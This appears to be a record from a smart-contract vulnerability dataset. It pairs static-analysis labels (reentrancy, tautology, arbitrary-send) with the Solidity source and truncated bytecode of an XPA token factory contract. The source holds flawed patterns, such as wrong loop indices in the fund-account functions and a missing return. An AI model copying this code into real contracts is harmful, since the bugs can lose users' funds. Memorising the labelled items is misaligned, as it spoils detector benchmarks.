056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220599d9ea71dbb764dd8801a212f59381d578bfbd17799aba0dabf4d3e16f8f17164736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,622
0x36B86289ccCE0984251CCCA62871b589B0F52d68
pragma solidity ^0.4.21; interface Token { function totalSupply() constant external returns (uint256 ts); function balanceOf(address _owner) constant external returns (uint256 balance); function transfer(address _to, uint256 _value) external returns (bool success); function transferFrom(address _from, address _to, uint256 _value) external returns (bool success); function approve(address _spender, uint256 _value) external returns (bool success); function allowance(address _owner, address _spender) constant external returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } interface Baliv { function getPrice(address fromToken_, address toToken_) external view returns(uint256); } contract SafeMath { function safeAdd(uint x, uint y) internal pure returns(uint) { uint256 z = x + y; require((z >= x) && (z >= y)); return z; } function safeSub(uint x, uint y) internal pure returns(uint) { require(x >= y); uint256 z = x - y; return z; } function safeMul(uint x, uint y) internal pure returns(uint) { uint z = x * y; require((x == 0) || (z / x == y)); return z; } function safeDiv(uint x, uint y) internal pure returns(uint) { require(y > 0); return x / y; } function random(uint N, uint salt) internal view returns(uint) { bytes32 hash = keccak256(block.number, msg.sender, salt); return uint(hash) % N; } } contract Authorization { mapping(address => bool) internal authbook; address[] public operators; address public owner; bool public powerStatus = true; function Authorization() public payable { owner = msg.sender; assignOperator(msg.sender); } modifier onlyOwner { assert(msg.sender == owner); _; } modifier onlyOperator { assert(checkOperator(msg.sender)); _; } modifier onlyActive { assert(powerStatus); _; } function powerSwitch( bool onOff_ ) public onlyOperator { powerStatus = onOff_; } function transferOwnership(address newOwner_) onlyOwner public { owner = newOwner_; } function assignOperator(address user_) public onlyOwner { if(user_ != address(0) && !authbook[user_]) { authbook[user_] = true; operators.push(user_); } } function dismissOperator(address user_) public onlyOwner { delete authbook[user_]; for(uint i = 0; i < operators.length; i++) { if(operators[i] == user_) { operators[i] = operators[operators.length - 1]; operators.length -= 1; } } } function checkOperator(address user_) public view returns(bool) { return authbook[user_]; } } contract StandardToken is SafeMath { mapping(address => uint256) balances; mapping(address => mapping (address => uint256)) allowed; uint256 public totalSupply; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Issue(address indexed _to, uint256 indexed _value); event Burn(address indexed _from, uint256 indexed _value); /* constructure */ function StandardToken() public payable {} /* Send coins */ function transfer( address to_, uint256 amount_ ) public returns(bool success) { if(balances[msg.sender] >= amount_ && amount_ > 0) { balances[msg.sender] = safeSub(balances[msg.sender], amount_); balances[to_] = safeAdd(balances[to_], amount_); emit Transfer(msg.sender, to_, amount_); return true; } else { return false; } } /* A contract attempts to get the coins */ function transferFrom( address from_, address to_, uint256 amount_ ) public returns(bool success) { if(balances[from_] >= amount_ && allowed[from_][msg.sender] >= amount_ && amount_ > 0) { balances[to_] = safeAdd(balances[to_], amount_); balances[from_] = safeSub(balances[from_], amount_); allowed[from_][msg.sender] = safeSub(allowed[from_][msg.sender], amount_); emit Transfer(from_, to_, amount_); return true; } else { return false; } } function balanceOf( address _owner ) constant public returns (uint256 balance) { return balances[_owner]; } /* Allow another contract to spend some tokens in your behalf */ function approve( address _spender, uint256 _value ) public returns (bool success) { assert((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract XPAAssetToken is StandardToken, Authorization { // metadata address[] public burners; string public name; string public symbol; uint256 public defaultExchangeRate; uint256 public constant decimals = 18; // constructor function XPAAssetToken( string symbol_, string name_, uint256 defaultExchangeRate_ ) public { totalSupply = 0; symbol = symbol_; name = name_; defaultExchangeRate = defaultExchangeRate_ > 0 ? defaultExchangeRate_ : 0.01 ether; } function transferOwnership( address newOwner_ ) onlyOwner public { owner = newOwner_; } function create( address user_, uint256 amount_ ) public onlyOperator returns(bool success) { if(amount_ > 0 && user_ != address(0)) { totalSupply = safeAdd(totalSupply, amount_); balances[user_] = safeAdd(balances[user_], amount_); emit Issue(owner, amount_); emit Transfer(owner, user_, amount_); return true; } } function burn( uint256 amount_ ) public returns(bool success) { require(allowToBurn(msg.sender)); if(amount_ > 0 && balances[msg.sender] >= amount_) { balances[msg.sender] = safeSub(balances[msg.sender], amount_); totalSupply = safeSub(totalSupply, amount_); emit Transfer(msg.sender, owner, amount_); emit Burn(owner, amount_); return true; } } function burnFrom( address user_, uint256 amount_ ) public returns(bool success) { require(allowToBurn(msg.sender)); if(balances[user_] >= amount_ && allowed[user_][msg.sender] >= amount_ && amount_ > 0) { balances[user_] = safeSub(balances[user_], amount_); totalSupply = safeSub(totalSupply, amount_); allowed[user_][msg.sender] = safeSub(allowed[user_][msg.sender], amount_); emit Transfer(user_, owner, amount_); emit Burn(owner, amount_); return true; } } function getDefaultExchangeRate( ) public view returns(uint256) { return defaultExchangeRate; } function getSymbol( ) public view returns(bytes32) { return keccak256(symbol); } function assignBurner( address account_ ) public onlyOperator { require(account_ != address(0)); for(uint256 i = 0; i < burners.length; i++) { if(burners[i] == account_) { return; } } burners.push(account_); } function dismissBunner( address account_ ) public onlyOperator { require(account_ != address(0)); for(uint256 i = 0; i < burners.length; i++) { if(burners[i] == account_) { burners[i] = burners[burners.length - 1]; burners.length -= 1; } } } function allowToBurn( address account_ ) public view returns(bool) { if(checkOperator(account_)) { return true; } for(uint256 i = 0; i < burners.length; i++) { if(burners[i] == account_) { return true; } } } } contract TokenFactory is Authorization { string public version = "0.5.0"; event eNominatingExchange(address); event eNominatingXPAAssets(address); event eNominatingETHAssets(address); event eCancelNominatingExchange(address); event eCancelNominatingXPAAssets(address); event eCancelNominatingETHAssets(address); event eChangeExchange(address, address); event eChangeXPAAssets(address, address); event eChangeETHAssets(address, address); event eAddFundAccount(address); event eRemoveFundAccount(address); address[] public assetTokens; address[] public fundAccounts; address public exchange = 0x008ea74569c1b9bbb13780114b6b5e93396910070a; address public exchangeOldVersion = 0x0013b4b9c415213bb2d0a5d692b6f2e787b927c211; address public XPAAssets = address(0); address public ETHAssets = address(0); address public candidateXPAAssets = address(0); address public candidateETHAssets = address(0); address public candidateExchange = address(0); uint256 public candidateTillXPAAssets = 0; uint256 public candidateTillETHAssets = 0; uint256 public candidateTillExchange = 0; address public XPA = 0x0090528aeb3a2b736b780fd1b6c478bb7e1d643170; address public ETH = address(0); function createToken( string symbol_, string name_, uint256 defaultExchangeRate_ ) public returns(address) { require(msg.sender == XPAAssets); bool tokenRepeat = false; address newAsset; for(uint256 i = 0; i < assetTokens.length; i++) { if(XPAAssetToken(assetTokens[i]).getSymbol() == keccak256(symbol_)){ tokenRepeat = true; newAsset = assetTokens[i]; break; } } if(!tokenRepeat){ newAsset = new XPAAssetToken(symbol_, name_, defaultExchangeRate_); XPAAssetToken(newAsset).assignOperator(XPAAssets); XPAAssetToken(newAsset).assignOperator(ETHAssets); for(uint256 j = 0; j < fundAccounts.length; j++) { XPAAssetToken(newAsset).assignBurner(fundAccounts[j]); } assetTokens.push(newAsset); } return newAsset; } // set to candadite, after 7 days set to exchange, set again after 7 days function setExchange( address exchange_ ) public onlyOperator { require( exchange_ != address(0) ); if( exchange_ == exchange && candidateExchange != address(0) ) { emit eCancelNominatingExchange(candidateExchange); candidateExchange = address(0); candidateTillExchange = 0; } else if( exchange == address(0) ) { // initial value emit eChangeExchange(address(0), exchange_); exchange = exchange_; exchangeOldVersion = exchange_; } else if( exchange_ != candidateExchange && candidateTillExchange + 86400 * 7 < block.timestamp ) { // set to candadite emit eNominatingExchange(exchange_); candidateExchange = exchange_; candidateTillExchange = block.timestamp + 86400 * 7; } else if( exchange_ == candidateExchange && candidateTillExchange < block.timestamp ) { // set to exchange emit eChangeExchange(exchange, candidateExchange); exchangeOldVersion = exchange; exchange = candidateExchange; candidateExchange = address(0); } } function setXPAAssets( address XPAAssets_ ) public onlyOperator { require( XPAAssets_ != address(0) ); if( XPAAssets_ == XPAAssets && candidateXPAAssets != address(0) ) { emit eCancelNominatingXPAAssets(candidateXPAAssets); candidateXPAAssets = address(0); candidateTillXPAAssets = 0; } else if( XPAAssets == address(0) ) { // initial value emit eChangeXPAAssets(address(0), XPAAssets_); XPAAssets = XPAAssets_; } else if( XPAAssets_ != candidateXPAAssets && candidateTillXPAAssets + 86400 * 7 < block.timestamp ) { // set to candadite emit eNominatingXPAAssets(XPAAssets_); candidateXPAAssets = XPAAssets_; candidateTillXPAAssets = block.timestamp + 86400 * 7; } else if( XPAAssets_ == candidateXPAAssets && candidateTillXPAAssets < block.timestamp ) { // set to XPAAssets emit eChangeXPAAssets(XPAAssets, candidateXPAAssets); dismissTokenOperator(XPAAssets); assignTokenOperator(candidateXPAAssets); XPAAssets = candidateXPAAssets; candidateXPAAssets = address(0); } } function setETHAssets( address ETHAssets_ ) public onlyOperator { require( ETHAssets_ != address(0) ); if( ETHAssets_ == ETHAssets && candidateETHAssets != address(0) ) { emit eCancelNominatingETHAssets(candidateETHAssets); candidateETHAssets = address(0); candidateTillETHAssets = 0; } else if( ETHAssets == address(0) ) { // initial value ETHAssets = ETHAssets_; } else if( ETHAssets_ != candidateETHAssets && candidateTillETHAssets + 86400 * 7 < block.timestamp ) { // set to candadite emit eNominatingETHAssets(ETHAssets_); candidateETHAssets = ETHAssets_; candidateTillETHAssets = block.timestamp + 86400 * 7; } else if( ETHAssets_ == candidateETHAssets && candidateTillETHAssets < block.timestamp ) { // set to ETHAssets emit eChangeETHAssets(ETHAssets, candidateETHAssets); dismissTokenOperator(ETHAssets); assignTokenOperator(candidateETHAssets); ETHAssets = candidateETHAssets; candidateETHAssets = address(0); } } function addFundAccount( address account_ ) public onlyOperator { require(account_ != address(0)); for(uint256 i = 0; i < fundAccounts.length; i++) { if(fundAccounts[i] == account_) { return; } } for(uint256 j = 0; j < assetTokens.length; j++) { XPAAssetToken(assetTokens[i]).assignBurner(account_); } emit eAddFundAccount(account_); fundAccounts.push(account_); } function removeFundAccount( address account_ ) public onlyOperator { require(account_ != address(0)); uint256 i = 0; uint256 j = 0; for(i = 0; i < fundAccounts.length; i++) { if(fundAccounts[i] == account_) { for(j = 0; j < assetTokens.length; j++) { XPAAssetToken(assetTokens[i]).dismissBunner(account_); } fundAccounts[i] = fundAccounts[fundAccounts.length - 1]; fundAccounts.length -= 1; } } } function getPrice( address token_ ) public view returns(uint256) { uint256 currPrice = Baliv(exchange).getPrice(XPA, token_); if(currPrice == 0) { currPrice = XPAAssetToken(token_).getDefaultExchangeRate(); } return currPrice; } function getAssetLength( ) public view returns(uint256) { return assetTokens.length; } function getAssetToken( uint256 index_ ) public view returns(address) { return assetTokens[index_]; } function assignTokenOperator(address user_) internal { if(user_ != address(0)) { for(uint256 i = 0; i < assetTokens.length; i++) { XPAAssetToken(assetTokens[i]).assignOperator(user_); } } } function dismissTokenOperator(address user_) internal { if(user_ != address(0)) { for(uint256 i = 0; i < assetTokens.length; i++) { XPAAssetToken(assetTokens[i]).dismissOperator(user_); } } } }
0x6060604052600436106200019d5763ffffffff60e060020a60003504166311f1507e8114620001a2578063126c27b514620001d757806325ca5cc614620001fb57806340a2bfc1146200022357806341976e091462000245578063419a88b6146200026757806345e5da07146200027d5780634880340614620002935780634d49451c14620002b557806354fd4d5014620002cb5780635b060530146200035b57806367b1f5df14620003f35780636d78e48a146200041557806373bacc5b146200042b5780638322fff21462000444578063837386ca146200045a57806384385c6f146200047057806385ddf72614620004925780638da5cb5b14620004b4578063a18bf6e914620004ca578063a501553e14620004ec578063d2f7265a1462000502578063d4ed2cf51462000518578063dd1219fd146200052e578063de1ac2fd1462000549578063df9204b6146200057f578063e28d49061462000595578063e45648ac14620005ae578063e7a839b514620005c4578063ec79efa814620005dd578063ef3adfb314620005f3578063f2fde38b1462000609575b600080fd5b3415620001ae57600080fd5b620001bb6004356200062b565b604051600160a060020a03909116815260200160405180910390f35b3415620001e357600080fd5b620001f9600160a060020a036004351662000658565b005b34156200020757600080fd5b62000211620008ae565b60405190815260200160405180910390f35b34156200022f57600080fd5b620001f9600160a060020a0360043516620008b4565b34156200025157600080fd5b62000211600160a060020a036004351662000b50565b34156200027357600080fd5b620001bb62000c34565b34156200028957600080fd5b620001bb62000c43565b34156200029f57600080fd5b620001f9600160a060020a036004351662000c52565b3415620002c157600080fd5b620001bb62000de4565b3415620002d757600080fd5b620002e162000df3565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156200031f57808201518382015260200162000305565b50505050905090810190601f1680156200034d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156200036757600080fd5b620001bb60046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f016020809104026020016040519081016040528181529291906020840183838082843750949650509335935062000e9592505050565b3415620003ff57600080fd5b620001f9600160a060020a0360043516620012a6565b34156200042157600080fd5b6200021162001538565b34156200043757600080fd5b620001bb6004356200153e565b34156200045057600080fd5b620001bb62001567565b34156200046657600080fd5b620001bb62001576565b34156200047c57600080fd5b620001f9600160a060020a036004351662001585565b34156200049e57600080fd5b620001f9600160a060020a036004351662001637565b3415620004c057600080fd5b620001bb6200173d565b3415620004d657600080fd5b620001f9600160a060020a03600435166200174c565b3415620004f857600080fd5b62000211620018e0565b34156200050e57600080fd5b620001bb620018e7565b34156200052457600080fd5b62000211620018f6565b34156200053a57600080fd5b620001f96004351515620018fc565b34156200055557600080fd5b6200056b600160a060020a036004351662001950565b604051901515815260200160405180910390f35b34156200058b57600080fd5b6200056b6200196e565b3415620005a157600080fd5b620001bb6004356200198f565b3415620005ba57600080fd5b620001bb6200199e565b3415620005d057600080fd5b620001bb600435620019ad565b3415620005e957600080fd5b620001bb620019bc565b3415620005ff57600080fd5b620001bb620019cb565b34156200061557600080fd5b620001f9600160a060020a0360043516620019da565b60006004828154811015156200063d57fe5b600091825260209091200154600160a060020a031692915050565b620006633362001950565b15156200066c57fe5b600160a060020a03811615156200068257600080fd5b600954600160a060020a038281169116148015620006aa5750600b54600160a060020a031615155b156200071457600b547f792b6386d3d815bc6a49091d505db5a67cbea386a6b02d408bad13acb21bcb8490600160a060020a0316604051600160a060020a03909116815260200160405180910390a1600b8054600160a060020a03191690556000600e55620008ab565b600954600160a060020a03161515620007485760098054600160a060020a031916600160a060020a038316179055620008ab565b600b54600160a060020a038281169116148015906200076d575042600e5462093a8001105b15620007da577fc8c6af04a1f8f95487b1fb582486c3a23933ed26fffb19463a13ed1eeb8d03cf81604051600160a060020a03909116815260200160405180910390a1600b8054600160a060020a031916600160a060020a0383161790554262093a8001600e55620008ab565b600b54600160a060020a038281169116148015620007f9575042600e54105b15620008ab57600954600b547fce42ef9d13b6f73c34868f817ba784883ad7216537c41c56e7fead7c1f86e92591600160a060020a039081169116604051600160a060020a039283168152911660208201526040908101905180910390a16009546200086e90600160a060020a031662001a15565b600b546200088590600160a060020a031662001ab9565b600b805460098054600160a060020a0319908116600160a060020a038416179091551690555b50565b600e5481565b620008bf3362001950565b1515620008c857fe5b600160a060020a0381161515620008de57600080fd5b600854600160a060020a038281169116148015620009065750600a54600160a060020a031615155b156200097057600a547f1b8af116c5d02169c6a34227b4031b6ba8b5d73c1c8b52759f4ae1d78fd840a690600160a060020a0316604051600160a060020a03909116815260200160405180910390a1600a8054600160a060020a03191690556000600d55620008ab565b600854600160a060020a03161515620009eb577f50ec4f33cb90e50cc0c7efadbad34ab211f71ec60cecc50790e318e1046f2059600082604051600160a060020a039283168152911660208201526040908101905180910390a160088054600160a060020a031916600160a060020a038316179055620008ab565b600a54600160a060020a0382811691161480159062000a10575042600d5462093a8001105b1562000a7d577fd032a47c9c8c56d46e9297d3d012c784caa08b8a9418ab90f34b1b643663939281604051600160a060020a03909116815260200160405180910390a1600a8054600160a060020a031916600160a060020a0383161790554262093a8001600d55620008ab565b600a54600160a060020a03828116911614801562000a9c575042600d54105b15620008ab57600854600a547f50ec4f33cb90e50cc0c7efadbad34ab211f71ec60cecc50790e318e1046f205991600160a060020a039081169116604051600160a060020a039283168152911660208201526040908101905180910390a160085462000b1190600160a060020a031662001a15565b600a5462000b2890600160a060020a031662001ab9565b600a805460088054600160a060020a0319908116600160a060020a0384161790915516905550565b6006546010546000918291600160a060020a039182169163ac41865a91168560405160e060020a63ffffffff8516028152600160a060020a03928316600482015291166024820152604401602060405180830381600087803b151562000bb557600080fd5b5af1151562000bc357600080fd5b505050604051805191505080151562000c2e5782600160a060020a031663e0da4abd6040518163ffffffff1660e060020a028152600401602060405180830381600087803b151562000c1457600080fd5b5af1151562000c2257600080fd5b50505060405180519150505b92915050565b601054600160a060020a031681565b600954600160a060020a031681565b60008062000c603362001950565b151562000c6957fe5b600160a060020a038316151562000c7f57600080fd5b5060009050805b60055482101562000ddf5782600160a060020a031660058381548110151562000cab57fe5b600091825260209091200154600160a060020a0316141562000dd3575060005b60045481101562000d5957600480548390811062000ce557fe5b600091825260209091200154600160a060020a031663ffde8eae8460405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b151562000d3f57600080fd5b5af1151562000d4d57600080fd5b50505060010162000ccb565b60058054600019810190811062000d6c57fe5b60009182526020909120015460058054600160a060020a03909216918490811062000d9357fe5b60009182526020909120018054600160a060020a031916600160a060020a039290921691909117905560058054600019019062000dd1908262001b5d565b505b60019091019062000c86565b505050565b600c54600160a060020a031681565b60038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801562000e8d5780601f1062000e615761010080835404028352916020019162000e8d565b820191906000526020600020905b81548152906001019060200180831162000e6f57829003601f168201915b505050505081565b600854600090819081908190819033600160a060020a0390811691161462000ebc57600080fd5b60009350600091505b60045482101562000fe657876040518082805190602001908083835b6020831062000f025780518252601f19909201916020918201910162000ee1565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051908190039020600480548490811062000f3e57fe5b600091825260209091200154600160a060020a031663150704016040518163ffffffff1660e060020a028152600401602060405180830381600087803b151562000f8757600080fd5b5af1151562000f9557600080fd5b5050506040518051905060001916141562000fda5760048054600195508390811062000fbd57fe5b600091825260209091200154600160a060020a0316925062000fe6565b60019091019062000ec5565b8315156200129a5787878762000ffb62001b84565b808060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156200104157808201518382015260200162001027565b50505050905090810190601f1680156200106f5780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b83811015620010a75780820151838201526020016200108d565b50505050905090810190601f168015620010d55780820380516001836020036101000a031916815260200191505b5095505050505050604051809103906000f0801515620010f457600080fd5b600854909350600160a060020a03808516916384385c6f911660405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b15156200114c57600080fd5b5af115156200115a57600080fd5b5050600954600160a060020a0380861692506384385c6f911660405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b1515620011b257600080fd5b5af11515620011c057600080fd5b505050600090505b600554811015620012605782600160a060020a03166397c08da6600583815481101515620011f257fe5b600091825260209091200154600160a060020a031660405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b15156200124657600080fd5b5af115156200125457600080fd5b505050600101620011c8565b600480546001810162001274838262001b5d565b5060009182526020909120018054600160a060020a031916600160a060020a0385161790555b50909695505050505050565b620012b13362001950565b1515620012ba57fe5b600160a060020a0381161515620012d057600080fd5b600654600160a060020a038281169116148015620012f85750600c54600160a060020a031615155b156200136257600c547f5c4169b3285776b13a145a40390b842c0c8b9a9cd9a3ab05f6322d043f952d1290600160a060020a0316604051600160a060020a03909116815260200160405180910390a1600c8054600160a060020a03191690556000600f55620008ab565b600654600160a060020a03161515620013ed577f1e7f529ea5bc8d86090cfa1ee421ecfbd6c0e214ab6ee9b2f251c1a63e438fd4600082604051600160a060020a039283168152911660208201526040908101905180910390a160068054600160a060020a038316600160a060020a03199182168117909255600780549091169091179055620008ab565b600c54600160a060020a0382811691161480159062001412575042600f5462093a8001105b156200147f577f759d1a06190b14c2c7426288009f80d9f6473adcf266a7f221b22b5f8be40ea281604051600160a060020a03909116815260200160405180910390a1600c8054600160a060020a031916600160a060020a0383161790554262093a8001600f55620008ab565b600c54600160a060020a0382811691161480156200149e575042600f54105b15620008ab57600654600c547f1e7f529ea5bc8d86090cfa1ee421ecfbd6c0e214ab6ee9b2f251c1a63e438fd491600160a060020a039081169116604051600160a060020a039283168152911660208201526040908101905180910390a1506006805460078054600160a060020a03808416600160a060020a031992831617909255600c8054928316938216939093179093559091169055565b600d5481565b60048054829081106200154d57fe5b600091825260209091200154600160a060020a0316905081565b601154600160a060020a031681565b600a54600160a060020a031681565b60025433600160a060020a039081169116146200159e57fe5b600160a060020a03811615801590620015d05750600160a060020a03811660009081526020819052604090205460ff16155b15620008ab57600160a060020a0381166000908152602081905260409020805460ff1916600190811790915580548082016200160d838262001b5d565b5060009182526020909120018054600160a060020a038316600160a060020a031990911617905550565b60025460009033600160a060020a039081169116146200165357fe5b50600160a060020a0381166000908152602081905260408120805460ff191690555b600154811015620017395781600160a060020a03166001828154811015156200169a57fe5b600091825260209091200154600160a060020a031614156200173057600180546000198101908110620016c957fe5b60009182526020909120015460018054600160a060020a039092169183908110620016f057fe5b60009182526020909120018054600160a060020a031916600160a060020a03929092169190911790556001805460001901906200172e908262001b5d565b505b60010162001675565b5050565b600254600160a060020a031681565b6000806200175a3362001950565b15156200176357fe5b600160a060020a03831615156200177957600080fd5b600091505b600554821015620017d15782600160a060020a0316600583815481101515620017a357fe5b600091825260209091200154600160a060020a03161415620017c55762000ddf565b6001909101906200177e565b5060005b60045481101562001863576004805483908110620017ef57fe5b600091825260209091200154600160a060020a03166397c08da68460405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b15156200184957600080fd5b5af115156200185757600080fd5b505050600101620017d5565b7f1a2a17a89451bef81c4dbcfd191a8c942bde6f4fc06695035e5c41e9bd943d4b83604051600160a060020a03909116815260200160405180910390a16005805460018101620018b4838262001b5d565b5060009182526020909120018054600160a060020a038516600160a060020a0319909116179055505050565b6004545b90565b600654600160a060020a031681565b600f5481565b620019073362001950565b15156200191057fe5b60028054911515740100000000000000000000000000000000000000000274ff000000000000000000000000000000000000000019909216919091179055565b600160a060020a031660009081526020819052604090205460ff1690565b60025474010000000000000000000000000000000000000000900460ff1681565b60018054829081106200154d57fe5b600754600160a060020a031681565b60058054829081106200154d57fe5b600b54600160a060020a031681565b600854600160a060020a031681565b60025433600160a060020a03908116911614620019f357fe5b60028054600160a060020a031916600160a060020a0392909216919091179055565b6000600160a060020a0382161562001739575060005b6004548110156200173957600480548290811062001a4557fe5b600091825260209091200154600160a060020a03166385ddf7268360405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b151562001a9f57600080fd5b5af1151562001aad57600080fd5b50505060010162001a2b565b6000600160a060020a0382161562001739575060005b6004548110156200173957600480548290811062001ae957fe5b600091825260209091200154600160a060020a03166384385c6f8360405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b151562001b4357600080fd5b5af1151562001b5157600080fd5b50505060010162001acf565b81548183558181151162000ddf5760008381526020902062000ddf91810190830162001b95565b6040516115868062001bb783390190565b620018e491905b8082111562001bb2576000815560010162001b9c565b5090560060606040526005805460a060020a60ff0219167401000000000000000000000000000000000000000017905534156200003757600080fd5b60405162001586380380620015868339810160405280805182019190602001805182019190602001805160058054600160a060020a03191633600160a060020a038116919091179091559092506200009e9150640100000000620000f5810262000c111704565b60006002556008838051620000b8929160200190620001a9565b506007828051620000ce929160200190620001a9565b5060008111620000e657662386f26fc10000620000e8565b805b600955506200027a915050565b60055433600160a060020a039081169116146200010e57fe5b600160a060020a03811615801590620001405750600160a060020a03811660009081526003602052604090205460ff16155b15620001a657600160a060020a0381166000908152600360205260409020805460ff1916600190811790915560048054909181016200018083826200022e565b5060009182526020909120018054600160a060020a031916600160a060020a0383161790555b50565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10620001ec57805160ff19168380011785556200021c565b828001600101855582156200021c579182015b828111156200021c578251825591602001919060010190620001ff565b506200022a9291506200025a565b5090565b8154818355818115116200025557600083815260209020620002559181019083016200025a565b505050565b6200027791905b808211156200022a576000815560010162000261565b90565b6112fc806200028a6000396000f30060606040526004361061015e5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610163578063095ea7b3146101ed5780630ecaea7314610223578063150704011461024557806318160ddd1461026a5780632362189a1461027d57806323b872dd14610290578063313ce567146102b857806342966c68146102cb57806343e0c65a146102e157806370a082311461030057806379cc67901461031f57806384385c6f1461034157806385ddf726146103625780638da5cb5b1461038157806395bf1305146103b057806395d89b41146103c657806397c08da6146103d9578063a9059cbb146103f8578063dd1219fd1461041a578063dd62ed3e14610432578063de1ac2fd14610457578063df9204b614610476578063e0da4abd14610489578063e28d49061461049c578063f2fde38b146104b2578063ffde8eae146104d1575b600080fd5b341561016e57600080fd5b6101766104f0565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101b257808201518382015260200161019a565b50505050905090810190601f1680156101df5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101f857600080fd5b61020f600160a060020a036004351660243561058e565b604051901515815260200160405180910390f35b341561022e57600080fd5b61020f600160a060020a0360043516602435610632565b341561025057600080fd5b61025861071f565b60405190815260200160405180910390f35b341561027557600080fd5b610258610791565b341561028857600080fd5b610258610797565b341561029b57600080fd5b61020f600160a060020a036004358116906024351660443561079d565b34156102c357600080fd5b6102586108ef565b34156102d657600080fd5b61020f6004356108f4565b34156102ec57600080fd5b61020f600160a060020a03600435166109f9565b341561030b57600080fd5b610258600160a060020a0360043516610a6c565b341561032a57600080fd5b61020f600160a060020a0360043516602435610a87565b341561034c57600080fd5b610360600160a060020a0360043516610c11565b005b341561036d57600080fd5b610360600160a060020a0360043516610ccd565b341561038c57600080fd5b610394610dd7565b604051600160a060020a03909116815260200160405180910390f35b34156103bb57600080fd5b610394600435610de6565b34156103d157600080fd5b610176610e0e565b34156103e457600080fd5b610360600160a060020a0360043516610e79565b341561040357600080fd5b61020f600160a060020a0360043516602435610f3a565b341561042557600080fd5b6103606004351515611027565b341561043d57600080fd5b610258600160a060020a0360043581169060243516611078565b341561046257600080fd5b61020f600160a060020a03600435166110a3565b341561048157600080fd5b61020f6110c1565b341561049457600080fd5b6102586110e2565b34156104a757600080fd5b6103946004356110e8565b34156104bd57600080fd5b610360600160a060020a03600435166110f6565b34156104dc57600080fd5b610360600160a060020a036004351661113d565b60078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105865780601f1061055b57610100808354040283529160200191610586565b820191906000526020600020905b81548152906001019060200180831161056957829003601f168201915b505050505081565b60008115806105c05750600160a060020a03338116600090815260016020908152604080832093871683529290522054155b15156105c857fe5b600160a060020a03338116600081815260016020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a35060015b92915050565b600061063d336110a3565b151561064557fe5b60008211801561065d5750600160a060020a03831615155b1561062c5761066e60025483611232565b600255600160a060020a0383166000908152602081905260409020546106949083611232565b600160a060020a03808516600090815260208190526040908190209290925560055484929116907fc65a3f767206d2fdcede0b094a4840e01c0dd0be1888b5ba800346eaa0123c16905160405180910390a3600554600160a060020a0380851691166000805160206112b18339815191528460405190815260200160405180910390a350600161062c565b60006008604051808280546001816001161561010002031660029004801561077e5780601f1061075c57610100808354040283529182019161077e565b820191906000526020600020905b81548152906001019060200180831161076a575b5050915050604051809103902090505b90565b60025481565b60095481565b600160a060020a0383166000908152602081905260408120548290108015906107ed5750600160a060020a0380851660009081526001602090815260408083203390941683529290522054829010155b80156107f95750600082115b156108e457600160a060020a0383166000908152602081905260409020546108219083611232565b600160a060020a0380851660009081526020819052604080822093909355908616815220546108509083611252565b600160a060020a03808616600090815260208181526040808320949094556001815283822033909316825291909152205461088b9083611252565b600160a060020a03808616600081815260016020908152604080832033861684529091529081902093909355908516916000805160206112b18339815191529085905190815260200160405180910390a35060016108e8565b5060005b9392505050565b601281565b60006108ff336109f9565b151561090a57600080fd5b6000821180156109335750600160a060020a033316600090815260208190526040902054829010155b156109f457600160a060020a03331660009081526020819052604090205461095b9083611252565b600160a060020a0333166000908152602081905260409020556002546109819083611252565b600255600554600160a060020a039081169033166000805160206112b18339815191528460405190815260200160405180910390a36005548290600160a060020a03167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca560405160405180910390a35060015b919050565b600080610a05836110a3565b15610a135760019150610a66565b5060005b600654811015610a665782600160a060020a0316600682815481101515610a3a57fe5b600091825260209091200154600160a060020a03161415610a5e5760019150610a66565b600101610a17565b50919050565b600160a060020a031660009081526020819052604090205490565b6000610a92336109f9565b1515610a9d57600080fd5b600160a060020a038316600090815260208190526040902054829010801590610aed5750600160a060020a0380841660009081526001602090815260408083203390941683529290522054829010155b8015610af95750600082115b1561062c57600160a060020a038316600090815260208190526040902054610b219083611252565b600160a060020a038416600090815260208190526040902055600254610b479083611252565b600255600160a060020a0380841660009081526001602090815260408083203390941683529290522054610b7b9083611252565b600160a060020a03808516600081815260016020908152604080832033861684529091529081902093909355600554909116916000805160206112b18339815191529085905190815260200160405180910390a36005548290600160a060020a03167fcc16f5dbb4873280815c1ee09dbd06736cffcc184